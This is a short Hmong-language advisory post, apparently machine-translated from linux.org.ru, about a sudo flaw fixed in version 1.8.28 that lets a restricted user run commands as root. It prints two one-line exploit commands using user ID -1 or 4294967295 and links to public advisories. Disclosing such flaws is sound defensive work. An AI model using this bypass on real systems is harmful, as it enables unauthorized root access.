sudo vulnerability

Ib kab laum hauv sudo tso cai rau koj los tua cov ntaub ntawv ua tiav raws li hauv paus yog /etc/sudoers tso cai rau nws tua los ntawm lwm tus neeg siv thiab raug txwv rau hauv paus.

Kev siv ntawm qhov yuam kev yog yooj yim heev:

sudo -u#-1 id -u

lossis:

sudo -u#4294967295 id -u

Qhov yuam kev yog tam sim no nyob rau hauv tag nrho cov versions ntawm sudo ua ntej 1.8.28

Cov ntsiab lus:

https://thehackernews.com/2019/10/linux-sudo-run-as-root-flaw.html


https://www.sudo.ws/alerts/minus_1_uid.html

Tau qhov twg los: linux.org.ru ua

Ntxiv ib saib